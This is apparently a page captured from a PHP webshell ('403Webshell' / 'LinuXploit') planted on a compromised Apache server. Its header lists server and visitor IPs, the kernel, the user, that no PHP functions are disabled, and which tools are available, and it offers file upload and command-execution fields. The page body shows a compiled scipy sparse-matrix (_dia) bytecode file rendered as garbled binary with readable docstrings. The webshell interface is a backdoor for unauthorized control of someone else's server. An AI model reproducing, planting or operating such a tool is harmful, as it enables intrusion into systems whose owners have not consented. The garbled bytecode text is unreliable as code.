403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/scipy/sparse/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/scipy/sparse/__pycache__/_dia.cpython-311.pyc
�

d�c�>���dZdZddgZddlZddlmZmZmZddl	m
Z
dd	lmZm
Z
mZmZmZmZmZdd
lmZGd�de
��Zd�ZdS)
zSparse DIAgonal formatzrestructuredtext en�
dia_matrix�isspmatrix_dia�N�)�
isspmatrix�_formats�spmatrix)�_data_matrix)�isshape�upcast_char�getdtype�get_index_dtype�
get_sum_dtype�validateaxis�check_shape)�
dia_matvecc���eZdZdZdZdd�Zd�Zd�Zd�Zdd	�Z	e
j	je	_e
jje_dd
�Ze
jje_d�Zd�Z
d
�Zdd�Zdd�Ze
jje_dd�Ze
jje_dd�Ze
jje_dd�Ze
jje_dd�Ze
jje_dd�Zd�Ze
jje_dS)ra$Sparse matrix with DIAgonal storage

    This can be instantiated in several ways:
        dia_matrix(D)
            with a dense matrix

        dia_matrix(S)
            with another sparse matrix S (equivalent to S.todia())

        dia_matrix((M, N), [dtype])
            to construct an empty matrix with shape (M, N),
            dtype is optional, defaulting to dtype='d'.

        dia_matrix((data, offsets), shape=(M, N))
            where the ``data[k,:]`` stores the diagonal entries for
            diagonal ``offsets[k]`` (See example below)

    Attributes
    ----------
    dtype : dtype
        Data type of the matrix
    shape : 2-tuple
        Shape of the matrix
    ndim : int
        Number of dimensions (this is always 2)
    nnz
        Number of stored values, including explicit zeros
    data
        DIA format data array of the matrix
    offsets
        DIA format offset array of the matrix

    Notes
    -----

    Sparse matrices can be used in arithmetic operations: they support
    addition, subtraction, multiplication, division, and matrix power.

    Examples
    --------

    >>> import numpy as np
    >>> from scipy.sparse import dia_matrix
    >>> dia_matrix((3, 4), dtype=np.int8).toarray()
    array([[0, 0, 0, 0],
           [0, 0, 0, 0],
           [0, 0, 0, 0]], dtype=int8)

    >>> data = np.array([[1, 2, 3, 4]]).repeat(3, axis=0)
    >>> offsets = np.array([0, -1, 2])
    >>> dia_matrix((data, offsets), shape=(4, 4)).toarray()
    array([[1, 0, 3, 0],
           [1, 2, 0, 4],
           [0, 2, 3, 0],
           [0, 0, 3, 4]])

    >>> from scipy.sparse import dia_matrix
    >>> n = 10
    >>> ex = np.ones(n)
    >>> data = np.array([ex, 2 * ex, ex])
    >>> offsets = np.array([-1, 0, 1])
    >>> dia_matrix((data, offsets), shape=(n, n)).toarray()
    array([[2., 1., 0., ..., 0., 0., 0.],
           [1., 2., 1., ..., 0., 0., 0.],
           [0., 1., 2., ..., 0., 0., 0.],
           ...,
           [0., 0., 0., ..., 2., 1., 0.],
           [0., 0., 0., ..., 1., 2., 1.],
           [0., 0., 0., ..., 0., 1., 2.]])
    �diaNFc
�
�tj|��t|��rI|r|���}|j|_|j|_t
|j��|_�n�t|��rmt|��r|r|���}n|�
��}|j|_|j|_t
|j��|_�nt|t���rat|��r�t
|��|_tjdt!|t"�����|_t%t'|j�����}tjd|���|_�nl	|\}}|�t)d���tjtj|d||�����|_tjtj|dt%t'|�����|�����|_t
|��|_n�#t0$r}	t)d	��|	�d}	~	wwxYw	tj|��}n*#t0$r}	t)d
|jz��|	�d}	~	wwxYw|�|||����
��}|j|_|j|_t
|j��|_|�|j�|��|_|jjdkrt)d���|jjd
krt)d���|jjdt=|j��kr6t)d|jjdt=|j��fz���t=tj|j����t=|j��krt)d���dS)N)rr)�default��maxvalr��dtypezexpected a shape argument)r�copyrz,unrecognized form for dia_matrix constructorz+unrecognized form for %s_matrix constructor)r�shapezoffsets array must have rank 1�zdata array must have rank 2zBnumber of diagonals (%d) does not match the number of offsets (%d)z&offset array contains duplicate values) r	�__init__rr�data�offsetsrr�_shaper�todia�
isinstance�tupler
�np�zerosr�floatr
�max�
ValueError�
atleast_2d�array�
atleast_1d�	Exception�asarray�format�_coo_container�astype�ndim�len�unique)
�self�arg1rrr�A�	idx_dtyperr�es
          �3/usr/lib/python3/dist-packages/scipy/sparse/_dia.pyrzdia_matrix.__init__Ys�����d�#�#�#��$���.	/��
#��y�y�{�{���	�D�I��<�D�L�%�d�j�1�1�D�K�K�
��
�
�(	/��d�#�#�
!��
!��I�I�K�K����J�J�L�L����D�I��9�D�L�%�a�g�.�.�D�K�K�
��e�
$�
$� 	/��t�}�}�
5�*�$�/�/����H�U�H�U�E�,J�,J�,J�K�K��	�+�3�t�z�?�?�C�C�C�	�!�x��9�=�=�=����5�$(�M�D�'��}�(�)D�E�E�E� "�
�b�h�t�A�w�e�RV�.W�.W�.W� X� X�D�I�#%�=���$�q�'�@O�WZ�[`�Wa�Wa�@b�@b�@b�?C�2E�2E�2E�$F�$F�D�L�#.�e�"4�"4�D�K�K��!�\�\�\�$�%S�T�T�Z[�[�����\����
G��z�$�'�'�����
G�
G�
G� �"1�37�;�"?�@�@�EF�G�����
G�����#�#�D��U�#�C�C�I�I�K�K�A���D�I��9�D�L�%�a�g�.�.�D�K����	�(�(��/�/�D�I��<���!�!��=�>�>�>��9�>�Q����:�;�;�;��9�?�1���T�\�!2�!2�2�2��@��y��q�)�3�t�|�+<�+<�=�>�?�?�
?��r�y���&�&�'�'�3�t�|�+<�+<�<�<��E�F�F�F�=�<s0�H>�>
I�I�I�!I6�6
J�J�Jc��t|���d}d|j|jj|j|jjd|fzzS)NrzW<%dx%d sparse matrix of type '%s'
	with %d stored elements (%d diagonals) in %s format>r)r�	getformatrr�type�nnzr)r4r.s  r9�__repr__zdia_matrix.__repr__�sR���$�.�.�*�*�+�A�.��H��
�d�j�o�t�x�����9K�$�&�&�'�	'�c��|j\}}tj|jjd��}||jdd�dfz
}|dk}|||kz}|||kz}|S)z~Returns a mask of the same shape as self.data, where
        mask[i,j] is True when data[i,j] corresponds to a stored element.rNr)rr$�arangerr)r4�num_rows�num_cols�offset_inds�row�masks      r9�
_data_maskzdia_matrix._data_mask�sl��"�Z���(��i��	��� 2�3�3���D�L����4��0�0���q�����x�� ����x�'�(���r?c�h�|���}tj|j|��S�N)rGr$�
count_nonzeror)r4rFs  r9rJzdia_matrix.count_nonzero�s(����� � �����	�$��0�0�0r?c���|�td���|j\}}d}|jD]5}|dkr|t|||z
��z
}�|t||z|��z
}�6t	|��S)Nz5getnnz over an axis is not implemented for DIA formatr)�NotImplementedErrorrr�min�int)r4�axis�M�Nr=�ks      r9�getnnzzdia_matrix.getnnz�s�����%�'7�8�8�
8��j���!�����	"�	"�A��1�u�u��s�1�Q�q�S�z�z�!����s�1�Q�3�q�z�z�!����3�x�x�r?c
��t|��|�|dkr|dz
}t|j��}|j\}}d}|dkr�|���}|j|z�d���}	|	jd|kr|	}
n-tj||	j���}
|	|
d|	jd�<|�	|
|���}n�tj|df|���}tj
||���}t||t|j
��|jjd|j
|j||��|�	|��}|�|�||���S|�	|�|�����}|�|j|jkrtd���|�d||�	��S)
Nrr�rOrr)r�outzdimensions do not match�)rOrrV)rrrrrGr�sumr$r%�_ascontainer�onesrr2rr()
r4rOrrV�	res_dtyperBrC�retrF�x�res�row_sums�ones
             r9rXzdia_matrix.sum�s����T�������q����A�I�D�!�$�*�-�-�	�!�Z���(����1�9�9��?�?�$�$�D���T�!�&�&�A�&�.�.�A��w�q�z�X�%�%�����h�x�q�w�7�7�7��#$��K�Q�W�Q�Z�K� ��#�#�C�y�#�9�9�C�C��x��1�
�Y�?�?�?�H��'�(�)�4�4�4�C��x��3�t�|�+<�+<��y��q�)�4�<���C��
S�
S�
S��(�(��2�2�H��|��|�|�%�S�|�9�9�9��#�#�H�L�L�d�L�$;�$;�<�<�C��?�s�y�C�I�5�5��6�7�7�7��w�w�B�e��w�5�5�5r?c���t|t|����s'|����|��St	j|j|j��}|�|d���}|jD]t}||jvr@|�	|�
|��|�
|��z|���K|�	|�
|��|���u|S)NT�r)r"r<�tocsr�_add_sparser$�
promote_typesrr0r�setdiag�diagonal)r4�otherr�m�ds     r9rdzdia_matrix._add_sparse�s����%��d���,�,�	3��:�:�<�<�+�+�E�2�2�2�
� ���U�[�9�9���K�K��D�K�)�)����	0�	0�A��A�I�~�~��	�	�!�*�*�Q�-�-�%�.�.��*;�*;�;�Q�?�?�?�?��	�	�%�.�.��+�+�Q�/�/�/�/��r?c�t�|}tj|jdt|jj|jj�����}|jjd}|j\}}t||t|j	��||j	|j|�
��|�
����|S)Nrrr)r$r%rrr�charrrr2r�ravel)r4rhr]�y�LrPrQs       r9�_mul_vectorzdia_matrix._mul_vectors������H�T�Z��]�+�d�j�o�78�w�|�+E�+E�
F�
F�
F��
�I�O�A����j���!��1�Q��D�L�)�)�1�d�l�D�I�q�w�w�y�y�RS�RY�RY�R[�R[�\�\�\��r?c�N��tj�fd�|jD����S)Nc�b��g|]+}��|���dd����,S)���r)rp�reshape)�.0�colr4s  �r9�
<listcomp>z/dia_matrix._mul_multimatrix.<locals>.<listcomp>s7���Q�Q�Q�#�$�*�*�3�/�/�7�7��1�=�=�Q�Q�Qr?)r$�hstack�T)r4rhs` r9�_mul_multimatrixzdia_matrix._mul_multimatrixs*����y�Q�Q�Q�Q���Q�Q�Q�R�R�Rr?rc��|j\}}|jdkr
tj}nt	|��}|dkrt||z||��}d}|}nt|||z
|��}|}||z}|jdkr
|d|�}|jj\}	}
||jvrX||
kr9tj|	|f|jj	���}|j|dd�d|
�f<||_||j|j|k||�f<dStj
|j|jj	�|����|_t||
��}tj|	dz|f|jj	���}|j|dd�d|
�f<||d||�f<||_dS)Nrrrrs)
rr1r$�infr2rMrrr%r�appendr<r')
r4�valuesrRrPrQ�values_n�n�	min_index�	max_index�	data_rows�	data_colsrris
             r9�_setdiagzdia_matrix._setdiags����z���1��;�!����v�H�H��6�{�{�H��q�5�5��A��E�1�h�'�'�A��I��I�I��A�q�1�u�h�'�'�A��I��A��I��;�!����B�Q�B�Z�F�#�y���	�9�������9�$�$��x��I� 6�d�i�o�N�N�N��&*�i��Q�Q�Q�
��
�]�#� ��	�@F�D�I�d�l�a�'��9�)<�<�=�=�=��9�T�\�4�<�3E�3J�3J�1�3M�3M�N�N�D�L��I�y�)�)�A��8�Y��]�A�.�d�i�o�F�F�F�D�$(�I�D��"��j�y�j��!�,2�D��Y�y�(�(�)��D�I�I�Ir?c�2�|r|���S|SrIrb)r4rs  r9r!zdia_matrix.todia<s���	��9�9�;�;���Kr?c�f�|�td���|j\}}t|j��}|j}t	jt
|��tj���dd�df}t	j|tj���||zdd�dfz
}td||jjdz
��}	t	j	|jt	j
|jjd|	f|jj���f��}
|
||f}
|�|
|f||f|���S)NzoSparse matrices do not support an 'axes' parameter because swapping dimensions is the only logical permutation.rrr)rr)
r(rr'rr$rAr2�intcrrxr%r�_dia_container)r4�axesrrBrC�max_dimr�r�c�
pad_amountrs           r9�	transposezdia_matrix.transposeDsE�����L�N�N�
N�"�Z���(��d�j�/�/���<�-��
�I�c�'�l�l�"�'�2�2�2�1�1�1�d�7�;���I�h�b�g�.�.�.�'�G�2C�Q�Q�Q��W�1M�M����G�D�I�O�A�$6�6�7�7�
��y�$�)�R�X�t�y��q�/A�:�.N�48�I�O�&E�&E�&E�F�G�G���A�q�D�z���"�"�D�'�?��h�; �&*�#�,�,�	,r?c���|j\}}||ks||kr tjd|jj���Stj|j|k��\}td|��}t||z|��}||z
}|j	dkr tj
||jj���S|j|d||�f}|t|��z
}	|	dkrtj|d|	fd���}|S)Nrr�constant)�mode)
rr$�emptyrr�nonzerorr'rM�sizer%r2�pad)
r4rR�rows�cols�idx�	first_col�last_col�result_size�result�paddings
          r9rgzdia_matrix.diagonal\s����Z�
��d����:�:��d����8�A�T�Y�_�5�5�5�5��z�$�,�!�+�,�,�����1�I�I�	��t�a�x��&�&����*���8�q�=�=��8�K�t�y��?�?�?�?���3�q�6�9�X�#5�5�6����F���+���Q�;�;��V�F�Q��L�z�B�B�B�F��
r?c��|jdkr!|�|j|j���S|j\}}|jj\}}tj|��}||jdd�dfz
}|dk}|||kz}|||kz}||jdkz}tt|j�����}	tj
|dz|	���}
tj|�d���d|���|
d|dz�<||kr|
||
|dzd�<|j
|j
�|	d���}|jj
|j
}|�|||
f|j|j���S)	NrrrrrUFrb�rr)r=�_csc_containerrrrr$rArr
r'r%�cumsumrXryr0)
r4rrBrC�num_offsets�
offset_lenrDrErFr7�indptr�indicesrs
             r9�tocsczdia_matrix.tocscns����8�q�=�=��&�&�t�z���&�D�D�D�!�Z���(�"&�)�/���Z��i�
�+�+���D�L����4��0�0���q�����x�� ����x�'�(�����a�� ��#�3�t�z�?�?�;�;�;�	���(�Q�,�i�8�8�8��!#��4�8�8��8�+;�+;�I�X�I�+F�!G�!G��q��A��~���� � �$*�:�$6�F�:�a�<�=�=�!��%���-�&�&�y�u�&�=�=���y�{�4�6�"���"�"�D�'�6�#:�$�*�)-��#�5�5�	5r?c��|j\}}|jj\}}tj|��}||jdd�dfz
}|dk}|||kz}|||kz}||jdkz}||}tj||��|���}	|j|}
|�|
||	ff|j|j���}d|_	|S)Nrr�T)
rrr$rAr�tilermr/r�has_canonical_format)r4rrBrCr�r�rDrErFrvrr6s            r9�tocoozdia_matrix.tocoo�s���!�Z���(�"&�)�/���Z��i�
�+�+���D�L����4��0�0���q�����x�� ����x�'�(�����a�� ���$�i���g�k�;�/�/��
�
���=���y�������
�C��:��d�j��
�
 �
�
��"&����r?Tc��|r5|�||j���f|j���S|�||jf|j���S)z�Returns a matrix with the same sparsity structure as self,
        but with different data.  By default the structure arrays are copied.
        )r)r�rrr)r4rrs   r9�
_with_datazdia_matrix._with_data�sp���	��&�&��t�|�(�(�*�*�+�4�:�'���
��&�&��t�|�$�D�J�'���
r?c��t|��}|\}}|jdd�d|�f|_||jdkr�tj|j|jdz|jjdk��rO|jdd�df|jdztj|jjd��k}d|j|<||_dS)Nrr)rrrr$�anyrrAr )r4rrPrQrFs     r9�resizezdia_matrix.resize�s����E�"�"�����1��I�a�a�a��!��e�$��	�
��
�1�
�����t�|�d�j��m�3�d�i�o�a�6H�H�I�I�
��L����D��)�D�J�q�M�9��I�d�i�o�a�0�1�1�2�D��D�I�d�O�����r?)NNFrI)NNN)r)F)NF)T)�__name__�
__module__�__qualname__�__doc__r.rr>rGrJrSrrXrdrprzr�r!r�rgr�r�r�r�rWr?r9rrs�������E�E�L�F�CG�CG�CG�CG�J'�'�'�	�	�	�1�1�1������_�,�F�N�$�2�:�M��$6�$6�$6�$6�L�,�&�C�K����4���S�S�S�#�#�#�#�J�����N�*�E�M�,�,�,�,�,!�*�2�I������  �(�0�H��5�5�5�5�0�N�*�E�M�����(�N�*�E�M�����
�
�
��_�,�F�N�N�Nr?c�X�ddlm}t|t��pt||��S)a�Is x of dia_matrix type?

    Parameters
    ----------
    x
        object to check for being a dia matrix

    Returns
    -------
    bool
        True if x is a dia matrix, False otherwise

    Examples
    --------
    >>> from scipy.sparse import dia_matrix, isspmatrix_dia
    >>> isspmatrix_dia(dia_matrix([[5]]))
    True

    >>> from scipy.sparse import dia_matrix, csr_matrix, isspmatrix_dia
    >>> isspmatrix_dia(csr_matrix([[5]]))
    False
    r)�	dia_array)�_arraysr�r"r)r]r�s  r9rr�s5��.#�"�"�"�"�"��a��$�$�@�
�1�i�(@�(@�@r?)r��
__docformat__�__all__�numpyr$�_baserrr�_datar	�_sputilsr
rrr
rrr�_sparsetoolsrrrrWr?r9�<module>r�s&����%�
��)�
*������1�1�1�1�1�1�1�1�1�1�������A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�$�$�$�$�$�$�k-�k-�k-�k-�k-��k-�k-�k-�\
A�A�A�A�Ar?

Youez - 2016 - github.com/yon3zu
LinuXploit